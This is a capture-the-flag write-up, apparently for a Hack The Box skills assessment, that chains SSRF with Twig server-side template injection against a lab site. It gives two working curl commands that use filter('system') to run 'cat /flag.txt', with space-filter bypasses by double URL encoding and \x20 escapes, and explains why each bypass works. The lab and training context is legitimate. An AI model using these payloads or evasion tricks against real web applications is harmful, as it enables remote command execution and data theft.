Scenario

The food truck company Flavor Fusion Express tasked you to perform a security assessment of its newly launched website, created to enhance customer outreach and streamline online ordering. While the site aims to improve user engagement and brand presence, the company is particularly concerned about potential server-side vulnerabilities that could compromise sensitive business data, order information, or administrative functionality. Your task is to evaluate the backend infrastructure, configuration, and server logic for weaknesses that an attacker could exploit. Try to utilize the various techniques you learned in this module to identify and exploit vulnerabilities found in the web application.

At first, i only see this endpoint

and i think maybe have SSRF vulnerablities here, but after try many thing for SSRF but can’t find any other internal endpoint can help me get further in this module i change to SSTI

i determined that used Twig

Because of URL validator, we can’t use the space to in the payload, i find this 2 method can work

                                      
┌──(sasorirose㉿kazekageiii)-[~]
└─$ # cat /flag.txt -> cat%2520/flag.txt
curl -i -X POST http://94.237.49.88:33796/ \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "Cookie: uid=52" \
     --data-raw "api=http://truckapi.htb/?id%3D{{['cat%2520/flag.txt']|filter('system')}}"
HTTP/1.1 200 OK
Date: Tue, 06 Jan 2026 04:16:50 GMT
Server: Apache/2.4.62 (Debian)
Vary: Accept-Encoding
Content-Length: 83
Content-Type: text/html; charset=UTF-8

{"id": "HTB{3b8e2b940775e0267ce39d7c80488fc8}Array", "location": "134 Main Street"}                                                                                                                                                                                
┌──(sasorirose㉿kazekageiii)-[~]
└─$ # cat /flag.txt -> cat%2520/flag.txt
curl -i -X POST http://94.237.49.88:33796/ \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "Cookie: uid=52" \
     --data-raw "api=http://truckapi.htb/?id%3D{{['cat\x20/flag.txt']|filter('system')}}"
HTTP/1.1 200 OK
Date: Tue, 06 Jan 2026 04:17:34 GMT
Server: Apache/2.4.62 (Debian)
Vary: Accept-Encoding
Content-Length: 83
Content-Type: text/html; charset=UTF-8

{"id": "HTB{3b8e2b940775e0267ce39d7c80488fc8}Array", "location": "134 Main Street"}                                                                                                                                                        

Both methods worked because they bypassed the "Middleman" (the URL validator) in different ways, but eventually resulted in a space at the "End of the Line" (the Code Execution).

Here is the breakdown of why each trick succeeded:

1. The Double Encoding (%2520)

This attack targets the decoding pipeline.

  • What you sent: %2520
  • The URL Validator: It sees %2520. It decodes the first layer (%25 -> %), resulting in %20. It checks if %20 is valid in a URL. Pass. (It doesn't see a raw space).
  • The Application/Template Engine: It receives the validated string %20. It does its standard URL decoding before processing the ID. %20 becomes a Space.
  • Execution: cat /flag.txt

2. The Hex Escape (\x20)

This attack targets the language parser (likely the template engine or PHP itself).

  • What you sent: \x20 (The literal characters \ x 2 0)
  • The URL Validator: It looks at the string cat\x20/flag.txt. It sees only alphanumeric characters and a backslash. No spaces, no illegal URL characters. Pass.
  • The Template Engine: The injection {{ ... }} is evaluated as code. In many programming languages (including PHP/Smarty/Twig), \x20 is the hexadecimal escape sequence for a space (ASCII 32).
  • Execution: When the code runs, it translates \x20 into a Space and executes cat /flag.txt.

Summary

  • %2520 tricked the server into creating a space later by decoding it.
  • \x20 tricked the server by sending code that represents a space, which the validator didn't understand as "bad."